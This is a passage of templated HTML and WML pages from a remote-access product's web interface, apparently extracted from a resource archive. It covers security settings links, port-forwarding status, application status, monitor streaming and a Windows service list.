<dt><a href="../cfglockout.html?back=%TEMPLATE%">&MSG.CONFIG.IPLOCKOUT.TITLE&</a></dt>
<dd>&MSG.SECREM.SECURITY.IPLockout&</dd>
<?endif?>

<?if ACTIONS has "-cfgfilter-"?>
<dt><a href="../cfgfilter.html?back=%TEMPLATE%">&MSG.CONFIG.IPFILTER.TITLE&</a></dt>
<dd>&MSG.SECREM.SECURITY.IPFilter&</dd>
<?endif?>

<?if UITYPE="LMI" and ACTIONS has "-cfgrsa-"?>
<dt><a href="../cfgrsa.html">&MSG.CONFIG.PERMISSIONS.RSASECURID&</a></dt>
<dd>&MSG.CONFIG.RSA.SHORTDESC&</dd>
<?endif?>		

<?if ACTIONS has "-filefind-"?>
<dt><a href="../logs.html">&MSG.INFO.LOGS.TITLE&</a></dt>
<dd>&MSG.SECREM.SECURITY.Logs&</dd>
<?endif?>

<?if ACTIONS has "-sslinfo-"?>
<dt><a href="../cfgssl.html">&MSG.CONFIG.SSL.TITLE&</a></dt>
<dd>&MSG.SECREM.SECURITY.SSL&</dd>
<?endif?>

<?if ACTIONS has "-websecurity"?>
<dt><a href="../lmisecurity.html">&MSG.WEBSVC.SECURITY.TITLE&</a></dt>
<dd>&MSG.WEBSVC.SECURITY.DESC&</dd>
<?endif?>		

<?if ACTIONS has "-recent-"?>
<dt><a href="../recent.html">&MSG.INFO.CONNS.RECENT&</a></dt>
<dd>&MSG.INFO.CONNS.RECENT&</dd>
<?endif?>
</dl>
</div>
</body>
</html>
&  statportfwd.htmlϠ<?ratmpl?> 
<? 
nocache 
include "macros.html" 
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>
<body>
<div class="window" style="height:96%">
<div class="titleBar"><?usemacro TITLEICON("server")?><span class="titleText">&CONFIG.PORTFWD.STATUSTITLE&</span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%CONFIG.PORTFWD.TITLE%&favicon=menu_server.gif&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<?action "statpfwd"?><?usemacro WINERRDLG()?>
<?if RULES?>
<table id="flist" class="inner"  align=center>
<!-- HEADER -->
<thead>
<tr class="ttd">
<th colspan="9">
&nbsp;</th>
<th colspan="2">
<?&CONFIG.PORTFWD.THISSESSION?></th>
<th colspan="2">
<?&CONFIG.PORTFWD.ALLTIME?></th>
<th colspan="2">
<?&CONFIG.PORTFWD.THISSESSION?></th>
<th colspan="2">
<?&CONFIG.PORTFWD.ALLTIME?></th>
<th colspan="3">
&nbsp;</th>
</tr>
<tr class="ttd">
<th>
&nbsp;</th>
<td colspan="3">
<?&CONFIG.PORTFWD.IN?></td>
<td colspan="3">
<?&CONFIG.PORTFWD.OUT?></td>
<th colspan="2">
&nbsp;</th>
<td colspan="4">
<?&CONFIG.PORTFWD.IN?></td>
<td colspan="4">
<?&CONFIG.PORTFWD.OUT?></td>
<th colspan="3">
&nbsp;</th>
</tr>
<tr class="ttd">
<th>
&nbsp;</th>
<th>
<?&CONFIG.TELNET.PROTO?>&nbsp;</th>
<th>
<?&INFO.PORT.IP?>&nbsp;</th>
<th>
<?&INFO.PORT.PORT?>&nbsp;</th>
<th>
<?&CONFIG.TELNET.PROTO?>&nbsp;</th>
<th>
<?&INFO.PORT.IP?>&nbsp;</th>
<th>
<?&INFO.PORT.PORT?>&nbsp;</th>
<th>
<?&CONFIG.PORTFWD.STATUS?></th>
<th>
<?&CONFIG.PORTFWD.PUMPS?></th>
<th>
<?&CONFIG.PORTFWD.BYTES?></th>
<th>
<?&CONFIG.PORTFWD.COMPR?></th>
<th>
<?&CONFIG.PORTFWD.BYTES?></th>
<th>
<?&CONFIG.PORTFWD.COMPR?></th>
<th>
<?&CONFIG.PORTFWD.BYTES?></th>
<th>
<?&CONFIG.PORTFWD.COMPR?></th>
<th>
<?&CONFIG.PORTFWD.BYTES?></th>
<th>
<?&CONFIG.PORTFWD.COMPR?></th>
<th>
<?&CONFIG.PORTFWD.IDLE _spn?></th>
<th>
<?&CONFIG.PORTFWD.CONNS?></th>
<th>
<?&CONFIG.PORTFWD.ALLCONS?></th>
</tr>
</thead>
<!-- CONTENT -->
<tbody>
<?enum RULES?>
<tr>
<?if RULE.TYPE = 1?>
<td align=right><?&RULE.INDEX?></td>
<td><?&RULE.IN.PROTO?></td>
<td><?&RULE.IN.HOST?></td>
<td><?&RULE.IN.PORT?></td>
<td><?&RULE.OUT.PROTO?></td>
<td><?&RULE.OUT.HOST?></td>
<td><?&RULE.OUT.PORT?></td>
<td>
<?
if RULE.STATUS = 0
&CONFIG.PORTFWD.STATUS.STOPPED
elseif RULE.STATUS = 1
&CONFIG.PORTFWD.STATUS.RUNNING
else
&CONFIG.PORTFWD.STATUS.ERROR
endif
?>
</td>
<td align=right><?&RULE.PUMPS?></td>
<td align=right><?&RULE.BYTES.CURRENT.IN?></td>
<td align=right><?&RULE.BYTES.CURRENT.COMPRIN?></td>
<td align=right><?&RULE.BYTES.ALL.IN?></td>
<td align=right><?&RULE.BYTES.ALL.COMPRIN?></td>
<td align=right><?&RULE.BYTES.CURRENT.OUT?></td>
<td align=right><?&RULE.BYTES.CURRENT.COMPROUT?></td>
<td align=right><?&RULE.BYTES.ALL.OUT?></td>
<td align=right><?&RULE.BYTES.ALL.COMPROUT?></td>
<td align=right><?&RULE.IDLE _spn?></td>
<td align=right><?&RULE.CONNS?></td>
<td align=right><?&RULE.CONNSALL?></td>
<?elseif RULE.TYPE = 2?>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>
<?
if RULE.STATUS = 0
&CONFIG.PORTFWD.STATUS.STARTING
elseif RULE.STATUS = 1
&CONFIG.PORTFWD.STATUS.CONNECTING
elseif RULE.STATUS = 2
&CONFIG.PORTFWD.STATUS.WORKING
elseif RULE.STATUS = 3
&CONFIG.PORTFWD.STATUS.WAITINGFORCLOSE
elseif RULE.STATUS = 4
&CONFIG.PORTFWD.STATUS.CLOSING
endif
?>
</td>
<td align=right>#<?&RULE.INDEX?></td>
<td align=right><?&RULE.BYTES.CURRENT.IN?></td>
<td align=right><?&RULE.BYTES.CURRENT.COMPRIN?></td>
<td align=right><?&RULE.BYTES.ALL.IN?></td>
<td align=right><?&RULE.BYTES.ALL.COMPRIN?></td>
<td align=right><?&RULE.BYTES.CURRENT.OUT?></td>
<td align=right><?&RULE.BYTES.CURRENT.COMPROUT?></td>
<td align=right><?&RULE.BYTES.ALL.OUT?></td>
<td align=right><?&RULE.BYTES.ALL.COMPROUT?></td>
<td align=right><?&RULE.IDLE _spn?></td>
<td align=right><?&RULE.CONNS?></td>
<td align=right><?&RULE.CONNSALL?></td>
<?elseif RULE.TYPE = 3?>
<td align=right><?&RULE.INDEX?></td>
<td colspan=19><?&RULE.ERROR?></td>
<?endif?>
</tr>
<?next?>
</tbody>
</table>
<?else?>
<p>&nbsp;</p>
<p align="center"><?&CONFIG.PORTFWD.NORULES?></p>
<p>&nbsp;</p>
<?endif?>
</body>
</html>
[Rstatus.htm(X<?ratmpl?> 
<?nocache?> 
<?action "guistatus"?>
<html>
<head>
<title>&MSG.RAGUI.MAINAPP.TITLE&</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
.txtnormalblack, td {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000; font-weight: normal; font-style: normal}
.txtbiggerblacki, th {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10pt; font-weight: bold; color: #000000; font-style: normal}
.txtsmallblack {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #000000}.smallest {  font-family: Arial, Helvetica, sans-serif; font-size: 7pt; color: #000000}
.txtwarning { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; font-weight: bold; color: red; font-style: normal}
.biggreen {  font-family: Arial, Helvetica, sans-serif; font-size: 14pt; color: #339900; font-weight: bold}
</style>
<script language="JavaScript">
function ok() {
setTimeout("window.location.replace('app:ok')", 100);
return true;
}
</script>
</head>
<body bgcolor="#8ABDF0" marginwidth="0" marginheight="0" leftmargin="0" topmargin="0" scroll="no">
<table border="0" cellspacing="0" cellpadding="0" height="100%" width="100%">
<tr>
<td bgcolor="#8ABDF0" valign="middle" align="center">
<table border="0" cellspacing="0" cellpadding="2" width="620">
<tr>
<td bgcolor="#000000" valign="middle" align="center">
<table border="0" cellspacing="0" cellpadding="2" width="615" id="fixeditem">
<tr> <!--item//-->
<td colspan="4" bgcolor="#FFFFFF" valign="top" align="center">
&nbsp;
</td>
</tr>

<!--RAISRUNNING//-->

<?if REQ.TYPE = "history"?>
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon03.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.INFO.UPDATE.HISTORY.TITLE&</div>
<br>
<?if UPDATES > 0?>
<table width="95%">
<tr>
<th>&MSG.INFO.UPDATE.HISTORY.VERSION&</th>
<th>&MSG.INFO.UPDATE.HISTORY.SIZE&</th>
<th>&MSG.INFO.UPDATE.HISTORY.LOAD.TIME&</th>
<th>&MSG.INFO.UPDATE.HISTORY.INST.TIME&</th>
<th>&MSG.INFO.UPDATE.HISTORY.INST.USER&</th>
</tr>
<?enum UPDATES?>
<tr>
<td title="&MSG.INFO.UPDATE.HISTORY.REPLACED&: &UPDATE.REPLACED&"><?&UPDATE.VERSION?></td>
<?if UPDATE.DOWNLOADED.BYTES?><td title="<?&UPDATE.DOWNLOADED.FILES?> files"><?&UPDATE.DOWNLOADED.BYTES_szk?></td><?else?><td>&MSG.CONFIG.NA&</td><?endif?>
<?if UPDATE.DOWNLOADED.AT?><td title="<?&UPDATE.DOWNLOADED.AT_ago?>"><?&UPDATE.DOWNLOADED.AT_dtms?></td><?else?><td>&MSG.CONFIG.NA&</td><?endif?>
<?if UPDATE.INSTALLED.AT?><td title="<?&UPDATE.INSTALLED.AT_ago?>"><?&UPDATE.INSTALLED.AT_dtms?></td><?else?><td>&MSG.CONFIG.NA&</td><?endif?>
<td><?&UPDATE.INSTALLED.BY?></td>
</tr>
<?next?>
</table>
<?else?>
&MSG.INFO.UPDATE.HISTORY.NONE&
<?endif?>
<br><br>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>

<?else // history?>

<!--===== NOT LICENSED =====-->
<?if not LICENSE.VALID?>
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon01.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.RAGUI.MAINAPP.NOTLICENSED&</div>
<br>
&MSG.RAGUI.MAINAPP.NOTLICENSED.RUNNING&
<a href="app:locallogin">&MSG.RAGUI.MAINAPP.CONFIGLICENSE&</a><br>
<br>
<?if IS9X?>
&MSG.RAGUI.MAINAPP.USERNAMENEEDED&<br>
<br>
<?elseif not HASCONFIGRIGHTS?> 
&MSG.RAGUI.MAINAPP.ADMINNEEDED&<br>
<br>
<?endif?>
<center>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>
<?endif?> 

<!--===== RA IS ENABLED =====-->
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon03.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen"><?if CFG.APPEARANCE.RaAboutEnabledString?>&CFG.APPEARANCE.RaAboutEnabledString&<?else?>&MSG.RAGUI.MAINAPP.ISENABLED&<?endif?></div>
<br>
&MSG.RAGUI.MAINAPP.RUNNING&<br>
<br>
<?if not BRAND.LOGMEIN?>
&MSG.RAGUI.MAINAPP.NETWORKINTERFACES&<br>
<ul>
<?enum NETWORKINTERFACES?>
<li>&IFACE&</li>
<?next?>
</ul>
<?endif?> 
<!--IFWIN9XORADMIN//-->
<!--IFVISTA//-->
<img src="res://raabout.exe/uacshield.png" width="16" height="16" border="0">
<!--ENDIFVISTA//-->
<a href="app:disablera">&MSG.RAGUI.MAINAPP.CLICKTODISABLE&<br>
<br>
<!--ENDIFWIN9XORADMIN//-->
<center>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>

<!--===== OPEN RA =====-->
<?if LICENSE.VALID?>
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon02.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.RAGUI.MAINAPP.OPENRA&</div>
<br>
<a href="app:locallogin">&MSG.RAGUI.MAINAPP.OPENRA.CLICKHERE&</a><br>
<?if IS9X?> 
&MSG.RAGUI.MAINAPP.USERNAMENEEDED&<br>
<?elseif HASRAACCESS?> 
&MSG.RAGUI.MAINAPP.WINCREDSUSED&<br>
<?else?> 
&MSG.RAGUI.MAINAPP.WINCREDSBAD&<br>
<?endif?>
<br>

<?if BRAND.LOGMEIN?>
<?if WEBSVC.GATEWAY?>
&MSG.WEBSVC.INFO.ONLINE.DESC&<br>
<?else?>
&MSG.WEBSVC.INFO.OFFLINE.DESC&
<?if WEBSVC.ERROR?><br><span class="txtwarning">(&MSG.ERROR.WEBSVC:WEBSVC.ERROR&)</span><?endif?><br>
<?endif?>
<br>
<a href="https://&PRODUCTWEBSITE&/r.asp?r=accountmaint" target="_blank" onclick="return ok()">&MSG.RAGUI.MAINAPP.WEBSVC.MANAGE&</a><br>
<br>
<?endif?> 

<center>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>
<?endif?> 

<!--===== GUEST INVITE =====-->
<?if LICENSE.VALID?>
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/guestinvite.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.RAGUI.GUESTINVITE.START.CAPTION&</div>
<br>
&MSG.RAGUI.GUESTINVITE.START.DESC&
<br><br>
<a href="app:launchgi">&MSG.RAGUI.GUESTINVITE.START.LAUNCH&</a>
<center><br>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>
<?endif?> 

<!--===== RA IS BEING ACCESSED =====-->
<?if BEINGACCESSED and LICENSE.VALID?>
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon05.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.RAGUI.MAINAPP.BEINGACCESSED&</div>
<br>
&MSG.RAGUI.MAINAPP.ACCESSEDBY&
<?if REMOTEHOST?> 
(&REMOTEHOST&)
<?endif?>
<a href="app:locallogin">&MSG.RAGUI.MAINAPP.OPENFORMORE&</a>
<center><br>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>
<?endif?> 

<?endif // history?>

<!--ENDRAISRUNNING//-->

<!--<?if RAISNOTRUNNING?>//-->
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon04.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.RAGUI.MAINAPP.ISDISABLED&</div>
<br>
&MSG.RAGUI.MAINAPP.INSTALLEDNOTRUNNING&<br>
<br>
<!--IFWIN9XORADMIN//-->
<!--IFVISTA//-->
<img src="res://raabout.exe/uacshield.png" width="16" height="16" border="0">
<!--ENDIFVISTA//-->
<a href="app:enablera">&MSG.RAGUI.MAINAPP.CLICKTOENABLE&</a><br>
<!--ENDIFWIN9XORADMIN//-->
<!--IFNOTWIN9XORADMIN//-->
&MSG.RAGUI.MAINAPP.ADMINCANENABLE&
<br>
<!--ENDIFNOTWIN9XORADMIN//-->
<br>
<center>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>
<!--<?endif?>//-->

<!--RAISRUNNING//-->
<!--DISPLAYDOCS//-->
<?if not Cfg.Appearance.NoExternalLinks = "1"?>

<!--===== DOCUMENTATION =====-->
<tr> <!--item//-->
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
<td width="40" bgcolor="#FFFFFF" valign="top" align="center">
<img src="res://raabout.exe/icon06.gif">
</td>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left">
<div class="biggreen">&MSG.RAGUI.MAINAPP.DOCS&</div>
<br>
<?if BRAND.LOGMEIN?>
<a href="https://&PRODUCTWEBSITE&/r.asp?r=support" target="_blank">&MSG.RAGUI.MAINAPP.DOCLINK&</a><br>
<?else?>
<a href="http://&PRODUCTWEBSITE&/template.asp?page=downloads" target="_blank">&MSG.RAGUI.MAINAPP.DOCLINK&</a><br>
<?endif?>
<br>
<center><br>
<hr SIZE="1" WIDTH="80%">
</center>
</td>
<td bgcolor="#ffffff"><img src="res://raabout.exe/clear.gif" width="5" height="10" border="0"></td>
</tr>

<?endif // Cfg.Appearance.NoExternalLinks?>
<!--ENDDISPLAYDOCS//-->
<!--ENDRAISRUNNING//-->

<tr>
<td width="100%" bgcolor="#FFFFFF" valign="top" align="left" colspan="4">
<center>
<span class="txtsmallblack">
&COPYRIGHT&<br>
<br>
</span>
</center>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
<script language="javascript">
function getRequiredHeight() {
var a = document.getElementById("fixeditem");
return a.offsetHeight + 35;
}
if (getRequiredHeight() + 50 > screen.availHeight) {
document.body.scroll = "auto";
}
window.location.replace("app:requiredheight:"+getRequiredHeight());
</script>U>streaming.htmlTI<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "remctrl2"?> 
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "dirtree.inc"?>
<?action "osinfo"?>
<style type="text/css">
.unselectedrow { background-color: white; } 
.selectedrow { background-color: #F1F1FF; } 
h2 { color: black; font: bold 18px tahoma; padding: 0px 0px 3px 0px; margin: 0px; } 
.h3text {font-family: arial; font-size: 13px; font-weight: bold; margin: 0px; margin-bottom: 5px}
.datatable {border: 1px solid #CCCCCC; width: 100%; background-color: #FDFDFD} 
.datatable TD {height: 30px; padding-left: 10px} 
.datatable .header TD {font-size: 13px; font-weight: bold} 
#centered-message { visibility: hidden; position: absolute; left: 20%; width: 60%; height: 50px; top: 45%; }
.clientArea { padding: 15px; padding-top: 20px; overflow: visible; }
.titleBar { padding-bottom: 0px; }
.titleBar img { margin: 10 30 15 20; padding: 0px; float: left; width:"62"; height:"51"; }
/* navigation: */
nav a#prev-monitor { left: 20px; }
nav a#next-monitor { right: 20px; }
nav a {
font-size: 20px;
color: #71B9E1;
text-decoration: none;            
position: absolute;
top: 50%;
display: block;
outline: none;
text-align: left;
z-index: 1000;
-webkit-transform: translateY(-50%);
transform: translateY(-50%);
visibility: hidden;
}
nav a:hover { color: #1c81b8; }
.nav-slide .icon-wrap { position: relative; z-index: 100; display: block; padding: 20px; }
/* zooming of the buttons: */
.icon-wrap { 
transform: scale(1); 
transition: all 0.2s ease-in-out 0s;
-webkit-transform: scale(1); 
-webkit-transition: all 0.2s ease-in-out 0s;
}
.icon-wrap:hover { 
transform: scale(1.5); 
transition: all 0.2s ease-in-out 0s; 
-webkit-transform: scale(1.5); 
-webkit-transition: all 0.2s ease-in-out 0s; 
}
</style>
</head>

<?if BRAND.LOGMEIN ?>
<body>
<section>
<nav class="nav-slide">
<a id="prev-monitor" href="#" title="Previous monitor">
<span class="icon-wrap">&#9664;</span>
</a>
</nav>
<nav class="nav-slide">
<a id="next-monitor" href="#" title="Next monitor">
<span class="icon-wrap">&#9654;</span>
</a>
</nav>
<div class="titleBar">
<img src="/img/lmi_title_streaming.png"> 
<span class="titleText">&MSG.MENU.STREAMING.TITLE.BETA&</span>
</div>
<div class="clientArea" align="center">
<video id="view-monitor-stream" src="/streaming/monitors/$REQ.MONITOR$" poster="/img/lmi_streaming_ph.gif" width="80%" preload="none" autoplay muted>
This video cannot be played in your browser.
</video>
<h2 id="centered-message">Monitor is not available :(</h2>
</div>
</section>
</body>
<script>
(function() {
document.getElementById("view-monitor-stream").addEventListener("error", function(e) {
if (e.target.error.code === 4) {
// MEDIA_ERR_SRC_NOT_SUPPORTED
e.target.poster = "";
e.target.style.visibility = "hidden";
document.getElementById("centered-message").style.visibility = "visible";
}
}, false);

var noOfMonitors = parseInt("&SCREEN.MONITORS&") || 0;

if (noOfMonitors > 1) {
var currentMonitor = parseInt("$REQ.MONITOR$") || 0;
var prevMonitor = (currentMonitor - 1 + noOfMonitors) % noOfMonitors;
var nextMonitor = (currentMonitor + 1) % noOfMonitors;
var prevMonitorLink = document.getElementById("prev-monitor");
var nextMonitorLink = document.getElementById("next-monitor");

prevMonitorLink.style.visibility = "visible";
nextMonitorLink.style.visibility = "visible";		
prevMonitorLink.href = "streaming.html?monitor=" + prevMonitor;
nextMonitorLink.href = "streaming.html?monitor=" + nextMonitor;
}
})();
</script>
<?endif?>
</html>
ε]style.inc<?ratmpl?>
<link type="text/css" rel="stylesheet" href="/css/RA.css?ui=%UI%" />
<link type="text/css" rel="stylesheet" href="/css/window.css?ui=%UI%" />
h]svclist.htmlXӾ<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<style type="text/css">
td.stopped, td.stopping { color: &COLOR.ServLo&; }
td.starting, td.started { color: &COLOR.ServHi&; }
td.mstopped, td.mstopping { }
td.mstarting, td.mstarted { color: &COLOR.ServHi&; }
</style>
<script type="text/javascript" src="js/window.js"></script>
</head>

<?
if REQ.CTRL // need to control service?
action "svcctrl" // send service control request
usemacro WINERRDLG() // show errors
endif
if REQ.START // need to set service attribs?
action "svcupdate"
usemacro WINERRDLG() // show errors
endif
// set default sorting rule
if not REQ.SORT
// by display name, ascending
set REQ.SORT = "da"
endif
usemacro LINECOUNT()
action "svclist"
usemacro WINERRDLG()
?>

<script language="JavaScript">

function doSort(sortby) {
document.forms.type.sort.value = sortby;
document.forms.type.submit();
}

var	i	= 0;
var	sids	= new Array();
var stips   = new Array();
var	sstart	= new Array();
var	sstop	= new Array();
var	selrows	= new Array();
<?if SERVICES?><?enum SERVICES?>
sids[i]	= "$SERVICE.NAME$";
stips[i] = "<b>$NAME$</b>: $SERVICE.DISPLAY$<br><b>$MSG.ADMIN.SERVICE.SHORT$</b>: $SERVICE.NAME$<br><b>$TYPE$</b>: $MSG.ADMIN.SERVICE.TYPE:SERVICE.TYPE$<br><?if SERVICE.DESCR?><b>$DESC$</b> $SERVICE.DESCR$<br><?endif?>";
sstart[i]	= <?if SERVICE.ACCEPT has "start" ?>1<?else?>0<?endif?>;
sstop[i]	= <?if SERVICE.ACCEPT has "stop"  ?>1<?else?>0<?endif?>;
i++;
<?next?><?endif?>
function doClick() {
selrows	= trows.getSelectedIndexes();
if (selrows.length > 0) {
window.location = "service.html?svc=" + sids[selrows[0]-1] + "&what=$REQ.WHAT$&sort=$REQ.SORT$";
}
}
</script>

<body onLoad="winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5); trows = new SelectableTableRows(document.getElementById('slist'), false);">
<div id="info" class="window">
<div class="titleBar">
<?usemacro TITLEICON("manage")?><span class="titleText">
<?if REQ.WHAT="svc"?><?&MSG.ADMIN.SERVICE.TITLE?><?else?><?&MSG.ADMIN.SERVICE.DRVTITLE?><?endif?>
</span></div>

<!-- TOOLBAR -->
<form name="type" action="&TEMPLATE&" style="display:inline">
<div id="toolBar" class="buttonBar">
<div class="buttonGroup">
<?if REQ.WHAT="svc"?>
<a href="title.html?favname=%MSG.ADMIN.SERVICE.TITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%%3Fwhat%3D%REQ.WHAT%%26idx%3D%REQ.IDX%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?else?>
<a href="title.html?favname=%MSG.ADMIN.SERVICE.DRVTITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%%3Fwhat%3d%REQ.WHAT%%26idx%3D%REQ.IDX%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?what=%REQ.WHAT%&sort=%REQ.SORT%&idx=%REQ.IDX%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="javascript:doClick()"><img id="toolprop"  src="img/ico_prop_off.gif"  border="0"></a>
<a href="javascript:svcCtrl('start')"  ><img id="toolstart"   src="img/ico_start_off.gif"   border="0"></a>
<a href="javascript:svcCtrl('stop')"   ><img id="toolstop"    src="img/ico_stop_off.gif"    border="0"></a>
<a href="javascript:svcCtrl('restart')"><img id="toolrestart" src="img/ico_restart_off.gif" border="0"></a>
</div>
<?usemacro PAGEBAR("what,sort")?>
</div>
<input type="hidden" name="sort" value="$REQ.SORT$">
</form>
<div id="infoArea" class="scrollableDataArea">

<table class="inner" id="slist" width="99%">
<?if SERVICES?>
<thead>
<tr>
<th>&nbsp;</th>
<th><?usemacro SORTABLETH("da", "dd", MSG.NAME)?></th>
<th><?usemacro SORTABLETH("sa", "sd", MSG.ADMIN.SERVICE.STATUS)?></th>
<th>&MSG.ADMIN.SERVICE.START&</th>
</tr>
</thead>
<tbody>
<?enum SERVICES?>
<tr ondblclick="doClick()" onclick="selected()"	onmouseover="showTip(event,stips[=ENUM.INDEX0=],false,'TR')">
<td class="ico16"><img src="img/menu_sysinfo.gif" width="16" height="16"></td>
<td nowrap><?&SERVICE.DISPLAY?></td>
<?switch SERVICE.START?>
<?case "manual","disabled"?><td class="m&SERVICE.STATUS&" nowrap>
<?case default?><td class="&SERVICE.STATUS&" nowrap>
<?endswitch?>
<?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?></td>
<td nowrap><?&MSG.ADMIN.SERVICE.START:SERVICE.START?></td>
</tr>
<?next?>
</tbody>
<?if PAGE.COUNT>1?><tfoot><tr><td colspan="4"><img src="img/clear.gif" height="3"><br><font color="<?&COLOR.Link?>" /><?&MSG.PAGING.NOTICE?></font><br><img src="img/clear.gif" height="3"></td></tr></tfoot><?endif?>
<?endif?>
</table>

<script language="JavaScript">
function svcCtrl(type) {
var	rows = trows.getSelectedIndexes();
if (rows.length > 0) {
var	url = "service.html?ctrl=" + type;
url += "&svc=" + escape(sids[rows[0] - 1]);
url += "&what=$REQ.WHAT$&idx=$REQ.IDX$&$RND$";
window.location = url;
}
}
function selected() {
setTimeout('enableButtons()',10)
}
function enableButtons() {
var	rows = trows.getSelectedIndexes();
if (rows.length > 0) {
var row = rows[0] - 1;

var el = document.getElementById("toolprop");
el.src  = "img/ico_prop.gif"; el.title="$MSG.ADMIN.SERVICE.TIP.PROP$";

el = document.getElementById("toolstart");
if (sstart[row]) { el.src = "img/ico_start.gif"; el.title="$MSG.ADMIN.SERVICE.TIP.START$"; }
else { el.src = "img/ico_start_off.gif"; el.title=""; }

el = document.getElementById("toolstop");
if (sstop[row]) { el.src  = "img/ico_stop.gif"; el.title="$MSG.ADMIN.SERVICE.TIP.STOP$"; }
else { el.src = "img/ico_stop_off.gif"; el.title=""; }

el = document.getElementById("toolrestart");
if (sstop[row]) { el.src  = "img/ico_restart.gif"; el.title="$MSG.ADMIN.SERVICE.TIP.RESTART$"; }
else { el.src = "img/ico_restart_off.gif"; el.title=""; }
}
}
</script>
</div>
</div>

</body>
</html>
*h\svclist.wml{:<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml> 
<card id="card1" title="&SRVNAME&" newcontext="true">
<?action "svclist" REQ.SORT="na" // sort by (short) service name?>

<p align="center">
<b><?&ADMIN.SERVICE.TITLE?></b><br/>
page %PAGE.CURRENT% of %PAGE.COUNT%<br/>
